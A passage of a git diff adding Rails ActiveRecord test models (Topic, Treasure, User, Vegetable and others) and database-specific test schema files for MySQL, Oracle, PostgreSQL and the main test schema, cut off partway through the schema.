+  scope :approved, -> { where(approved: true) }
+  scope :rejected, -> { where(approved: false) }
+
+  scope :scope_with_lambda, lambda { all }
+
+  scope :by_lifo, -> { where(author_name: "lifo") }
+  scope :replied, -> { where "replies_count > 0" }
+
+  scope "approved_as_string", -> { where(approved: true) }
+  scope :anonymous_extension, -> {} do
+    def one
+      1
+    end
+  end
+
+  scope :with_object, Class.new(Struct.new(:klass)) {
+    def call
+      klass.where(approved: true)
+    end
+  }.new(self)
+
+  module NamedExtension
+    def two
+      2
+    end
+  end
+
+  has_many :replies, dependent: :destroy, foreign_key: "parent_id", autosave: true
+  has_many :approved_replies, -> { approved }, class_name: "Reply", foreign_key: "parent_id", counter_cache: "replies_count"
+
+  has_many :unique_replies, dependent: :destroy, foreign_key: "parent_id"
+  has_many :silly_unique_replies, dependent: :destroy, foreign_key: "parent_id"
+
+  serialize :content
+
+  before_create  :default_written_on
+  before_destroy :destroy_children
+
+  def parent
+    Topic.find(parent_id)
+  end
+
+  # trivial method for testing Array#to_xml with :methods
+  def topic_id
+    id
+  end
+
+  alias_attribute :heading, :title
+
+  before_validation :before_validation_for_transaction
+  before_save :before_save_for_transaction
+  before_destroy :before_destroy_for_transaction
+
+  after_save :after_save_for_transaction
+  after_create :after_create_for_transaction
+
+  after_initialize :set_email_address
+
+  class_attribute :after_initialize_called
+  after_initialize do
+    self.class.after_initialize_called = true
+  end
+
+  def approved=(val)
+    @custom_approved = val
+    write_attribute(:approved, val)
+  end
+
+  private
+
+    def default_written_on
+      self.written_on = Time.now unless attribute_present?("written_on")
+    end
+
+    def destroy_children
+      self.class.where("parent_id = #{id}").delete_all
+    end
+
+    def set_email_address
+      unless persisted?
+        self.author_email_address = "test@test.com"
+      end
+    end
+
+    def before_validation_for_transaction; end
+    def before_save_for_transaction; end
+    def before_destroy_for_transaction; end
+    def after_save_for_transaction; end
+    def after_create_for_transaction; end
+end
+
+class ImportantTopic < Topic
+  serialize :important, Hash
+end
+
+class DefaultRejectedTopic < Topic
+  default_scope -> { where(approved: false) }
+end
+
+class BlankTopic < Topic
+  # declared here to make sure that dynamic finder with a bang can find a model that responds to `blank?`
+  def blank?
+    true
+  end
+end
+
+module Web
+  class Topic < ActiveRecord::Base
+    has_many :replies, dependent: :destroy, foreign_key: "parent_id", class_name: "Web::Reply"
+  end
+end
diff --git a/activerecord/test/models/toy.rb b/activerecord/test/models/toy.rb
new file mode 100644
index 0000000000..4a5697eeb1
--- /dev/null
+++ b/activerecord/test/models/toy.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class Toy < ActiveRecord::Base
+  self.primary_key = :toy_id
+  belongs_to :pet
+
+  scope :with_pet, -> { joins(:pet) }
+end
diff --git a/activerecord/test/models/traffic_light.rb b/activerecord/test/models/traffic_light.rb
new file mode 100644
index 0000000000..0b88815cbd
--- /dev/null
+++ b/activerecord/test/models/traffic_light.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class TrafficLight < ActiveRecord::Base
+  serialize :state, Array
+  serialize :long_state, Array
+end
diff --git a/activerecord/test/models/treasure.rb b/activerecord/test/models/treasure.rb
new file mode 100644
index 0000000000..b51db56c37
--- /dev/null
+++ b/activerecord/test/models/treasure.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class Treasure < ActiveRecord::Base
+  has_and_belongs_to_many :parrots
+  belongs_to :looter, polymorphic: true
+  # No counter_cache option given
+  belongs_to :ship
+
+  has_many :price_estimates, as: :estimate_of
+  has_and_belongs_to_many :rich_people, join_table: "peoples_treasures", validate: false
+
+  accepts_nested_attributes_for :looter
+end
+
+class HiddenTreasure < Treasure
+end
diff --git a/activerecord/test/models/treaty.rb b/activerecord/test/models/treaty.rb
new file mode 100644
index 0000000000..5c1d75aa09
--- /dev/null
+++ b/activerecord/test/models/treaty.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class Treaty < ActiveRecord::Base
+  self.primary_key = :treaty_id
+
+  has_and_belongs_to_many :countries
+end
diff --git a/activerecord/test/models/tree.rb b/activerecord/test/models/tree.rb
new file mode 100644
index 0000000000..77050c5fff
--- /dev/null
+++ b/activerecord/test/models/tree.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Tree < ActiveRecord::Base
+  has_many :nodes, dependent: :destroy
+end
diff --git a/activerecord/test/models/tuning_peg.rb b/activerecord/test/models/tuning_peg.rb
new file mode 100644
index 0000000000..6e052e1d0f
--- /dev/null
+++ b/activerecord/test/models/tuning_peg.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class TuningPeg < ActiveRecord::Base
+  belongs_to :guitar
+  validates_numericality_of :pitch
+end
diff --git a/activerecord/test/models/tyre.rb b/activerecord/test/models/tyre.rb
new file mode 100644
index 0000000000..d627026585
--- /dev/null
+++ b/activerecord/test/models/tyre.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class Tyre < ActiveRecord::Base
+  belongs_to :car
+
+  def self.custom_find(id)
+    find(id)
+  end
+
+  def self.custom_find_by(*args)
+    find_by(*args)
+  end
+end
diff --git a/activerecord/test/models/user.rb b/activerecord/test/models/user.rb
new file mode 100644
index 0000000000..3efbc45d2a
--- /dev/null
+++ b/activerecord/test/models/user.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require "models/job"
+
+class User < ActiveRecord::Base
+  has_secure_token
+  has_secure_token :auth_token
+
+  has_and_belongs_to_many :jobs_pool,
+    class_name: "Job",
+    join_table: "jobs_pool"
+
+  has_one :family_tree, -> { where(token: nil) }, foreign_key: "member_id"
+  has_one :family, through: :family_tree
+  has_many :family_members, through: :family, source: :members
+end
+
+class UserWithNotification < User
+  after_create -> { Notification.create! message: "A new user has been created." }
+end
diff --git a/activerecord/test/models/uuid_child.rb b/activerecord/test/models/uuid_child.rb
new file mode 100644
index 0000000000..9fce361cc8
--- /dev/null
+++ b/activerecord/test/models/uuid_child.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class UuidChild < ActiveRecord::Base
+  belongs_to :uuid_parent
+end
diff --git a/activerecord/test/models/uuid_item.rb b/activerecord/test/models/uuid_item.rb
new file mode 100644
index 0000000000..41f68c4c18
--- /dev/null
+++ b/activerecord/test/models/uuid_item.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+class UuidItem < ActiveRecord::Base
+end
+
+class UuidValidatingItem < UuidItem
+  validates_uniqueness_of :uuid
+end
diff --git a/activerecord/test/models/uuid_parent.rb b/activerecord/test/models/uuid_parent.rb
new file mode 100644
index 0000000000..05db61855e
--- /dev/null
+++ b/activerecord/test/models/uuid_parent.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class UuidParent < ActiveRecord::Base
+  has_many :uuid_children
+end
diff --git a/activerecord/test/models/vegetables.rb b/activerecord/test/models/vegetables.rb
new file mode 100644
index 0000000000..cfaab08ed1
--- /dev/null
+++ b/activerecord/test/models/vegetables.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class Vegetable < ActiveRecord::Base
+  validates_presence_of :name
+
+  def self.inheritance_column
+    "custom_type"
+  end
+end
+
+class Cucumber < Vegetable
+end
+
+class Cabbage < Vegetable
+end
+
+class GreenCabbage < Cabbage
+end
+
+class KingCole < GreenCabbage
+end
+
+class RedCabbage < Cabbage
+  belongs_to :seller, class_name: "Company"
+end
diff --git a/activerecord/test/models/vehicle.rb b/activerecord/test/models/vehicle.rb
new file mode 100644
index 0000000000..c9b3338522
--- /dev/null
+++ b/activerecord/test/models/vehicle.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Vehicle < ActiveRecord::Base
+  self.abstract_class = true
+  default_scope -> { where("tires_count IS NOT NULL") }
+end
+
+class Bus < Vehicle
+end
diff --git a/activerecord/test/models/vertex.rb b/activerecord/test/models/vertex.rb
new file mode 100644
index 0000000000..0ad8114898
--- /dev/null
+++ b/activerecord/test/models/vertex.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+# This class models a vertex in a directed graph.
+class Vertex < ActiveRecord::Base
+  has_many :sink_edges, class_name: "Edge", foreign_key: "source_id"
+  has_many :sinks, through: :sink_edges
+
+  has_and_belongs_to_many :sources,
+    class_name: "Vertex", join_table: "edges",
+    foreign_key: "sink_id", association_foreign_key: "source_id"
+end
diff --git a/activerecord/test/models/warehouse_thing.rb b/activerecord/test/models/warehouse_thing.rb
new file mode 100644
index 0000000000..099633af55
--- /dev/null
+++ b/activerecord/test/models/warehouse_thing.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class WarehouseThing < ActiveRecord::Base
+  self.table_name = "warehouse-things"
+
+  validates_uniqueness_of :value
+end
diff --git a/activerecord/test/models/wheel.rb b/activerecord/test/models/wheel.rb
new file mode 100644
index 0000000000..e05fb64477
--- /dev/null
+++ b/activerecord/test/models/wheel.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Wheel < ActiveRecord::Base
+  belongs_to :wheelable, polymorphic: true, counter_cache: true
+end
diff --git a/activerecord/test/models/without_table.rb b/activerecord/test/models/without_table.rb
new file mode 100644
index 0000000000..fc0a52d6ad
--- /dev/null
+++ b/activerecord/test/models/without_table.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class WithoutTable < ActiveRecord::Base
+  default_scope -> { where(published: true) }
+end
diff --git a/activerecord/test/models/zine.rb b/activerecord/test/models/zine.rb
new file mode 100644
index 0000000000..6f361665ef
--- /dev/null
+++ b/activerecord/test/models/zine.rb
@@ -0,0 +1,5 @@
+# frozen_string_literal: true
+
+class Zine < ActiveRecord::Base
+  has_many :interests, inverse_of: :zine
+end
diff --git a/activerecord/test/schema/mysql2_specific_schema.rb b/activerecord/test/schema/mysql2_specific_schema.rb
new file mode 100644
index 0000000000..e634e9e6b1
--- /dev/null
+++ b/activerecord/test/schema/mysql2_specific_schema.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+ActiveRecord::Schema.define do
+
+  if ActiveRecord::Base.connection.version >= "5.6.0"
+    create_table :datetime_defaults, force: true do |t|
+      t.datetime :modified_datetime, default: -> { "CURRENT_TIMESTAMP" }
+    end
+  end
+
+  create_table :timestamp_defaults, force: true do |t|
+    t.timestamp :nullable_timestamp
+    t.timestamp :modified_timestamp, default: -> { "CURRENT_TIMESTAMP" }
+  end
+
+  create_table :binary_fields, force: true do |t|
+    t.binary :var_binary, limit: 255
+    t.binary :var_binary_large, limit: 4095
+    t.tinyblob   :tiny_blob
+    t.blob       :normal_blob
+    t.mediumblob :medium_blob
+    t.longblob   :long_blob
+    t.tinytext   :tiny_text
+    t.text       :normal_text
+    t.mediumtext :medium_text
+    t.longtext   :long_text
+
+    t.index :var_binary
+  end
+
+  create_table :key_tests, force: true, options: "ENGINE=MyISAM" do |t|
+    t.string :awesome
+    t.string :pizza
+    t.string :snacks
+    t.index :awesome, type: :fulltext, name: "index_key_tests_on_awesome"
+    t.index :pizza, using: :btree, name: "index_key_tests_on_pizza"
+    t.index :snacks, name: "index_key_tests_on_snack"
+  end
+
+  create_table :collation_tests, id: false, force: true do |t|
+    t.string :string_cs_column, limit: 1, collation: "utf8_bin"
+    t.string :string_ci_column, limit: 1, collation: "utf8_general_ci"
+    t.binary :binary_column,    limit: 1
+  end
+
+  ActiveRecord::Base.connection.execute <<-SQL
+DROP PROCEDURE IF EXISTS ten;
+SQL
+
+  ActiveRecord::Base.connection.execute <<-SQL
+CREATE PROCEDURE ten() SQL SECURITY INVOKER
+BEGIN
+	select 10;
+END
+SQL
+
+  ActiveRecord::Base.connection.execute <<-SQL
+DROP PROCEDURE IF EXISTS topics;
+SQL
+
+  ActiveRecord::Base.connection.execute <<-SQL
+CREATE PROCEDURE topics(IN num INT) SQL SECURITY INVOKER
+BEGIN
+  select * from topics limit num;
+END
+SQL
+
+  ActiveRecord::Base.connection.drop_table "enum_tests", if_exists: true
+
+  ActiveRecord::Base.connection.execute <<-SQL
+CREATE TABLE enum_tests (
+  enum_column ENUM('text','blob','tiny','medium','long','unsigned','bigint')
+)
+SQL
+end
diff --git a/activerecord/test/schema/oracle_specific_schema.rb b/activerecord/test/schema/oracle_specific_schema.rb
new file mode 100644
index 0000000000..e236571caa
--- /dev/null
+++ b/activerecord/test/schema/oracle_specific_schema.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+ActiveRecord::Schema.define do
+
+  execute "drop table test_oracle_defaults" rescue nil
+  execute "drop sequence test_oracle_defaults_seq" rescue nil
+  execute "drop sequence companies_nonstd_seq" rescue nil
+  execute "drop table defaults" rescue nil
+  execute "drop sequence defaults_seq" rescue nil
+
+  execute <<-SQL
+create table test_oracle_defaults (
+  id integer not null primary key,
+  test_char char(1) default 'X' not null,
+  test_string varchar2(20) default 'hello' not null,
+  test_int integer default 3 not null
+)
+  SQL
+
+  execute <<-SQL
+create sequence test_oracle_defaults_seq minvalue 10000
+  SQL
+
+  execute "create sequence companies_nonstd_seq minvalue 10000"
+
+  execute <<-SQL
+  CREATE TABLE defaults (
+      id integer not null,
+      modified_date date default sysdate,
+      modified_date_function date default sysdate,
+      fixed_date date default to_date('2004-01-01', 'YYYY-MM-DD'),
+      modified_time date default sysdate,
+      modified_time_function date default sysdate,
+      fixed_time date default TO_DATE('2004-01-01 00:00:00', 'YYYY-MM-DD HH24:MI:SS'),
+      char1 varchar2(1) default 'Y',
+      char2 varchar2(50) default 'a varchar field',
+      char3 clob default 'a text field'
+  )
+  SQL
+  execute "create sequence defaults_seq minvalue 10000"
+
+end
diff --git a/activerecord/test/schema/postgresql_specific_schema.rb b/activerecord/test/schema/postgresql_specific_schema.rb
new file mode 100644
index 0000000000..f15178d695
--- /dev/null
+++ b/activerecord/test/schema/postgresql_specific_schema.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+ActiveRecord::Schema.define do
+
+  enable_extension!("uuid-ossp", ActiveRecord::Base.connection)
+  enable_extension!("pgcrypto",  ActiveRecord::Base.connection) if ActiveRecord::Base.connection.supports_pgcrypto_uuid?
+
+  uuid_default = connection.supports_pgcrypto_uuid? ? {} : { default: "uuid_generate_v4()" }
+
+  create_table :uuid_parents, id: :uuid, force: true, **uuid_default do |t|
+    t.string :name
+  end
+
+  create_table :uuid_children, id: :uuid, force: true, **uuid_default do |t|
+    t.string :name
+    t.uuid :uuid_parent_id
+  end
+
+  create_table :defaults, force: true do |t|
+    t.date :modified_date, default: -> { "CURRENT_DATE" }
+    t.date :modified_date_function, default: -> { "now()" }
+    t.date :fixed_date, default: "2004-01-01"
+    t.datetime :modified_time, default: -> { "CURRENT_TIMESTAMP" }
+    t.datetime :modified_time_function, default: -> { "now()" }
+    t.datetime :fixed_time, default: "2004-01-01 00:00:00.000000-00"
+    t.column :char1, "char(1)", default: "Y"
+    t.string :char2, limit: 50, default: "a varchar field"
+    t.text :char3, default: "a text field"
+    t.bigint :bigint_default, default: -> { "0::bigint" }
+    t.text :multiline_default, default: "--- []
+
+"
+  end
+
+  create_table :postgresql_times, force: true do |t|
+    t.interval :time_interval
+    t.interval :scaled_time_interval, precision: 6
+  end
+
+  create_table :postgresql_oids, force: true do |t|
+    t.oid :obj_id
+  end
+
+  drop_table "postgresql_timestamp_with_zones", if_exists: true
+  drop_table "postgresql_partitioned_table", if_exists: true
+  drop_table "postgresql_partitioned_table_parent", if_exists: true
+
+  execute "DROP SEQUENCE IF EXISTS companies_nonstd_seq CASCADE"
+  execute "CREATE SEQUENCE companies_nonstd_seq START 101 OWNED BY companies.id"
+  execute "ALTER TABLE companies ALTER COLUMN id SET DEFAULT nextval('companies_nonstd_seq')"
+  execute "DROP SEQUENCE IF EXISTS companies_id_seq"
+
+  execute "DROP FUNCTION IF EXISTS partitioned_insert_trigger()"
+
+  %w(accounts_id_seq developers_id_seq projects_id_seq topics_id_seq customers_id_seq orders_id_seq).each do |seq_name|
+    execute "SELECT setval('#{seq_name}', 100)"
+  end
+
+  execute <<_SQL
+  CREATE TABLE postgresql_timestamp_with_zones (
+    id SERIAL PRIMARY KEY,
+    time TIMESTAMP WITH TIME ZONE
+  );
+_SQL
+
+  begin
+    execute <<_SQL
+    CREATE TABLE postgresql_partitioned_table_parent (
+      id SERIAL PRIMARY KEY,
+      number integer
+    );
+    CREATE TABLE postgresql_partitioned_table ( )
+      INHERITS (postgresql_partitioned_table_parent);
+
+    CREATE OR REPLACE FUNCTION partitioned_insert_trigger()
+    RETURNS TRIGGER AS $$
+    BEGIN
+      INSERT INTO postgresql_partitioned_table VALUES (NEW.*);
+      RETURN NULL;
+    END;
+    $$
+    LANGUAGE plpgsql;
+
+    CREATE TRIGGER insert_partitioning_trigger
+      BEFORE INSERT ON postgresql_partitioned_table_parent
+      FOR EACH ROW EXECUTE PROCEDURE partitioned_insert_trigger();
+_SQL
+  rescue ActiveRecord::StatementInvalid => e
+    if e.message.include?('language "plpgsql" does not exist')
+      execute "CREATE LANGUAGE 'plpgsql';"
+      retry
+    else
+      raise e
+    end
+  end
+
+  # This table is to verify if the :limit option is being ignored for text and binary columns
+  create_table :limitless_fields, force: true do |t|
+    t.binary :binary, limit: 100_000
+    t.text :text, limit: 100_000
+  end
+
+  create_table :bigint_array, force: true do |t|
+    t.integer :big_int_data_points, limit: 8, array: true
+    t.decimal :decimal_array_default, array: true, default: [1.23, 3.45]
+  end
+
+  create_table :uuid_items, force: true, id: false do |t|
+    t.uuid :uuid, primary_key: true, **uuid_default
+    t.string :title
+  end
+end
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
new file mode 100644
index 0000000000..05420a4240
--- /dev/null
+++ b/activerecord/test/schema/schema.rb
@@ -0,0 +1,1081 @@
+# frozen_string_literal: true
+
+ActiveRecord::Schema.define do
+  # ------------------------------------------------------------------- #
+  #                                                                     #
+  #   Please keep these create table statements in alphabetical order   #
+  #   unless the ordering matters.  In which case, define them below.   #
+  #                                                                     #
+  # ------------------------------------------------------------------- #
+
+  create_table :accounts, force: true do |t|
+    t.integer :firm_id
+    t.string  :firm_name
+    t.integer :credit_limit
+  end
+
+  create_table :admin_accounts, force: true do |t|
+    t.string :name
+  end
+
+  create_table :admin_users, force: true do |t|
+    t.string :name
+    t.string :settings, null: true, limit: 1024
+    # MySQL does not allow default values for blobs. Fake it out with a
+    # big varchar below.
+    t.string :preferences, null: true, default: "", limit: 1024
+    t.string :json_data, null: true, limit: 1024
+    t.string :json_data_empty, null: true, default: "", limit: 1024
+    t.text :params
+    t.references :account
+  end
+
+  create_table :aircraft, force: true do |t|
+    t.string :name
+    t.integer :wheels_count, default: 0, null: false
+  end
+
+  create_table :articles, force: true do |t|
+  end
+
+  create_table :articles_magazines, force: true do |t|
+    t.references :article
+    t.references :magazine
+  end
+
+  create_table :articles_tags, force: true do |t|
+    t.references :article
+    t.references :tag
+  end
+
+  create_table :audit_logs, force: true do |t|
+    t.column :message, :string, null: false
+    t.column :developer_id, :integer, null: false
+    t.integer :unvalidated_developer_id
+  end
+
+  create_table :authors, force: true do |t|
+    t.string :name, null: false
+    t.references :author_address
+    t.references :author_address_extra
+    t.string :organization_id
+    t.string :owned_essay_id
+  end
+
+  create_table :author_addresses, force: true do |t|
+  end
+
+  add_foreign_key :authors, :author_addresses
+
+  create_table :author_favorites, force: true do |t|
+    t.column :author_id, :integer
+    t.column :favorite_author_id, :integer
+  end
+
+  create_table :auto_id_tests, force: true, id: false do |t|
+    t.primary_key :auto_id
+    t.integer     :value
+  end
+
+  create_table :binaries, force: true do |t|
+    t.string :name
+    t.binary :data
+    t.binary :short_data, limit: 2048
+  end
+
+  create_table :birds, force: true do |t|
+    t.string :name
+    t.string :color
+    t.integer :pirate_id
+  end
+
+  create_table :books, force: true do |t|
+    t.references :author
+    t.string :format
+    t.column :name, :string
+    t.column :status, :integer, default: 0
+    t.column :read_status, :integer, default: 0
+    t.column :nullable_status, :integer
+    t.column :language, :integer, default: 0
+    t.column :author_visibility, :integer, default: 0
+    t.column :illustrator_visibility, :integer, default: 0
+    t.column :font_size, :integer, default: 0
+    t.column :difficulty, :integer, default: 0
+    t.column :cover, :string, default: "hard"
+  end
+
+  create_table :booleans, force: true do |t|
+    t.boolean :value
+    t.boolean :has_fun, null: false, default: false
+  end
+
+  create_table :bulbs, primary_key: "ID", force: true do |t|
+    t.integer :car_id
+    t.string  :name
+    t.boolean :frickinawesome, default: false
+    t.string :color
+  end
+
+  create_table "CamelCase", force: true do |t|
+    t.string :name
+  end
+
+  create_table :cars, force: true do |t|
+    t.string  :name
+    t.integer :engines_count
+    t.integer :wheels_count
+    t.column :lock_version, :integer, null: false, default: 0
+    t.timestamps null: false
+  end
+
+  create_table :old_cars, id: :integer, force: true do |t|
+  end
+
+  create_table :carriers, force: true
+
+  create_table :categories, force: true do |t|
+    t.string :name, null: false
+    t.string :type
+    t.integer :categorizations_count
+  end
+
+  create_table :categories_posts, force: true, id: false do |t|
+    t.integer :category_id, null: false
+    t.integer :post_id, null: false
+  end
+
+  create_table :categorizations, force: true do |t|
+    t.column :category_id, :integer
+    t.string :named_category_name
+    t.column :post_id, :integer
+    t.column :author_id, :integer
+    t.column :special, :boolean
+  end
+
+  create_table :citations, force: true do |t|
+    t.column :book1_id, :integer
+    t.column :book2_id, :integer
+  end
+
+  create_table :clubs, force: true do |t|
+    t.string :name
+    t.integer :category_id
+  end
+
+  create_table :collections, force: true do |t|
+    t.string :name
+  end
+
+  create_table :colnametests, force: true do |t|
+    t.integer :references, null: false
+  end
+
+  create_table :columns, force: true do |t|
+    t.references :record
+  end
+
+  create_table :comments, force: true do |t|
+    t.integer :post_id, null: false
+    # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
+    # Oracle SELECT WHERE clause which causes many unit test failures
+    if current_adapter?(:OracleAdapter)
+      t.string  :body, null: false, limit: 4000
+    else
+      t.text    :body, null: false
+    end
+    t.string  :type
+    t.integer :tags_count, default: 0
+    t.integer :children_count, default: 0
+    t.integer :parent_id
+    t.references :author, polymorphic: true
+    t.string :resource_id
+    t.string :resource_type
+    t.integer :developer_id
+    t.datetime :deleted_at
+  end
+
+  create_table :companies, force: true do |t|
+    t.string  :type
+    t.integer :firm_id
+    t.string  :firm_name
+    t.string  :name
+    t.integer :client_of
+    t.integer :rating, default: 1
+    t.integer :account_id
+    t.string :description, default: ""
+    t.index [:firm_id, :type, :rating], name: "company_index", length: { type: 10 }, order: { rating: :desc }
+    t.index [:firm_id, :type], name: "company_partial_index", where: "(rating > 10)"
+    t.index :name, name: "company_name_index", using: :btree
+    t.index "lower(name)", name: "company_expression_index" if supports_expression_index?
+  end
+
+  create_table :content, force: true do |t|
+    t.string :title
+  end
+
+  create_table :content_positions, force: true do |t|
+    t.integer :content_id
+  end
+
+  create_table :vegetables, force: true do |t|
+    t.string :name
+    t.integer :seller_id
+    t.string :custom_type
+  end
+
+  create_table :computers, force: true do |t|
+    t.string :system
+    t.integer :developer, null: false
+    t.integer :extendedWarranty, null: false
+  end
+
+  create_table :computers_developers, id: false, force: true do |t|
+    t.references :computer
+    t.references :developer
+  end
+
+  create_table :contracts, force: true do |t|
+    t.integer :developer_id
+    t.integer :company_id
+  end
+
+  create_table :customers, force: true do |t|
+    t.string  :name
+    t.integer :balance, default: 0
+    t.string  :address_street
+    t.string  :address_city
+    t.string  :address_country
+    t.string  :gps_location
+  end
+
+  create_table :customer_carriers, force: true do |t|
+    t.references :customer
+    t.references :carrier
+  end
+
+  create_table :dashboards, force: true, id: false do |t|
+    t.string :dashboard_id
+    t.string :name
+  end
+
+  create_table :developers, force: true do |t|
+    t.string   :name
+    t.string   :first_name
+    t.integer  :salary, default: 70000
+    t.integer :firm_id
+    t.integer :mentor_id
+    if subsecond_precision_supported?
+      t.datetime :created_at, precision: 6
+      t.datetime :updated_at, precision: 6
+      t.datetime :created_on, precision: 6
+      t.datetime :updated_on, precision: 6
+    else
+      t.datetime :created_at
+      t.datetime :updated_at
+      t.datetime :created_on
+      t.datetime :updated_on
+    end
+  end
+
+  create_table :developers_projects, force: true, id: false do |t|
+    t.integer :developer_id, null: false
+    t.integer :project_id, null: false
+    t.date    :joined_on
+    t.integer :access_level, default: 1
+  end
+
+  create_table :dog_lovers, force: true do |t|
+    t.integer :trained_dogs_count, default: 0
+    t.integer :bred_dogs_count, default: 0
+    t.integer :dogs_count, default: 0
+  end
+
+  create_table :dogs, force: true do |t|
+    t.integer :trainer_id
+    t.integer :breeder_id
+    t.integer :dog_lover_id
+    t.string  :alias
+  end
+
+  create_table :doubloons, force: true do |t|
+    t.integer :pirate_id
+    t.integer :weight
+  end
+
+  create_table :edges, force: true, id: false do |t|
+    t.column :source_id, :integer, null: false
+    t.column :sink_id,   :integer, null: false
+    t.index [:source_id, :sink_id], unique: true, name: "unique_edge_index"
+  end
+
+  create_table :engines, force: true do |t|
+    t.references :car, index: false
+  end
+
+  create_table :entrants, force: true do |t|
+    t.string  :name, null: false
+    t.integer :course_id, null: false
+  end
+
+  create_table :essays, force: true do |t|
+    t.string :name
+    t.string :writer_id
+    t.string :writer_type
+    t.string :category_id
+    t.string :author_id
+  end
+
+  create_table :events, force: true do |t|
+    t.string :title, limit: 5
+  end
+
+  create_table :eyes, force: true do |t|
+  end
+
+  create_table :families, force: true do |t|
+  end
+
+  create_table :family_trees, force: true do |t|
+    t.references :family
+    t.references :member
+    t.string :token
+  end
+
+  create_table :funny_jokes, force: true do |t|
+    t.string :name
+  end
+
+  create_table :cold_jokes, force: true do |t|
+    t.string :cold_name
+  end
+
+  create_table :friendships, force: true do |t|
+    t.integer :friend_id
+    t.integer :follower_id
+  end
+
+  create_table :goofy_string_id, force: true, id: false do |t|
+    t.string :id, null: false
+    t.string :info
+  end
+
+  create_table :having, force: true do |t|
+    t.string :where
+  end
+
+  create_table :guids, force: true do |t|
+    t.column :key, :string
+  end
+
+  create_table :guitars, force: true do |t|
+    t.string :color
+  end
+
+  create_table :inept_wizards, force: true do |t|
+    t.column :name, :string, null: false
+    t.column :city, :string, null: false
+    t.column :type, :string
+  end
+
+  create_table :integer_limits, force: true do |t|
+    t.integer :"c_int_without_limit"
+    (1..8).each do |i|
+      t.integer :"c_int_#{i}", limit: i
+    end
+  end
+
+  create_table :invoices, force: true do |t|
+    t.integer :balance
+    if subsecond_precision_supported?
+      t.datetime :updated_at, precision: 6
+    else
+      t.datetime :updated_at
+    end
+  end
+
+  create_table :iris, force: true do |t|
+    t.references :eye
+    t.string     :color
+  end
+
+  create_table :items, force: true do |t|
+    t.column :name, :string
+  end
+
+  create_table :jobs, force: true do |t|
+    t.integer :ideal_reference_id
+  end
+
+  create_table :jobs_pool, force: true, id: false do |t|
+    t.references :job, null: false, index: true
+    t.references :user, null: false, index: true
+  end
+
+  create_table :keyboards, force: true, id: false do |t|
+    t.primary_key :key_number
+    t.string      :name
+  end
+
+  create_table :kitchens, force: true do |t|
+  end
+
+  create_table :legacy_things, force: true do |t|
+    t.integer :tps_report_number
+    t.integer :version, null: false, default: 0
+  end
+
+  create_table :lessons, force: true do |t|
+    t.string :name
+  end
+
+  create_table :lessons_students, id: false, force: true do |t|
+    t.references :lesson
+    t.references :student
+  end
+
+  create_table :students, force: true do |t|
+    t.string :name
+    t.boolean :active
+    t.integer :college_id
+  end
+
+  add_foreign_key :lessons_students, :students, on_delete: :cascade
+
+  create_table :lint_models, force: true
+
+  create_table :line_items, force: true do |t|
+    t.integer :invoice_id
+    t.integer :amount
+  end
+
+  create_table :lions, force: true do |t|
+    t.integer :gender
+    t.boolean :is_vegetarian, default: false
+  end
+
+  create_table :lock_without_defaults, force: true do |t|
+    t.column :title, :string
+    t.column :lock_version, :integer
+    t.timestamps null: true
+  end
+
+  create_table :lock_without_defaults_cust, force: true do |t|
+    t.column :title, :string
+    t.column :custom_lock_version, :integer
+    t.timestamps null: true
+  end
+
+  create_table :magazines, force: true do |t|
+  end
+
+  create_table :mateys, id: false, force: true do |t|
+    t.column :pirate_id, :integer
+    t.column :target_id, :integer
+    t.column :weight, :integer
+  end
+
+  create_table :members, force: true do |t|
+    t.string :name
+    t.integer :member_type_id
+  end
+
+  create_table :member_details, force: true do |t|
+    t.integer :member_id
+    t.integer :organization_id
+    t.string :extra_data
+  end
+
+  create_table :member_friends, force: true, id: false do |t|
+    t.integer :member_id
+    t.integer :friend_id
+  end
+
+  create_table :memberships, force: true do |t|
+    t.datetime :joined_on
+    t.integer :club_id, :member_id
+    t.boolean :favourite, default: false
+    t.integer :type
+  end
+
+  create_table :member_types, force: true do |t|
+    t.string :name
+  end
+
+  create_table :mentors, force: true do |t|
+    t.string :name
+  end
+
+  create_table :minivans, force: true, id: false do |t|
+    t.string :minivan_id
+    t.string :name
+    t.string :speedometer_id
+    t.string :color
+  end
+
+  create_table :minimalistics, force: true do |t|
+  end
+
+  create_table :mixed_case_monkeys, force: true, id: false do |t|
+    t.primary_key :monkeyID
+    t.integer     :fleaCount
+  end
+
+  create_table :mixins, force: true do |t|
+    t.integer  :parent_id
+    t.integer  :pos
+    t.datetime :created_at
+    t.datetime :updated_at
+    t.integer  :lft
+    t.integer  :rgt
+    t.integer  :root_id
+    t.string   :type
+  end
+
+  create_table :movies, force: true, id: false do |t|
+    t.primary_key :movieid
+    t.string      :name
+  end
+
+  create_table :notifications, force: true do |t|
+    t.string :message
+  end
+
+  create_table :numeric_data, force: true do |t|
+    t.decimal :bank_balance, precision: 10, scale: 2
+    t.decimal :big_bank_balance, precision: 15, scale: 2
+    t.decimal :world_population, precision: 10, scale: 0
+    t.decimal :my_house_population, precision: 2, scale: 0
+    t.decimal :decimal_number_with_default, precision: 3, scale: 2, default: 2.78
+    t.float   :temperature
+    # Oracle/SQLServer supports precision up to 38
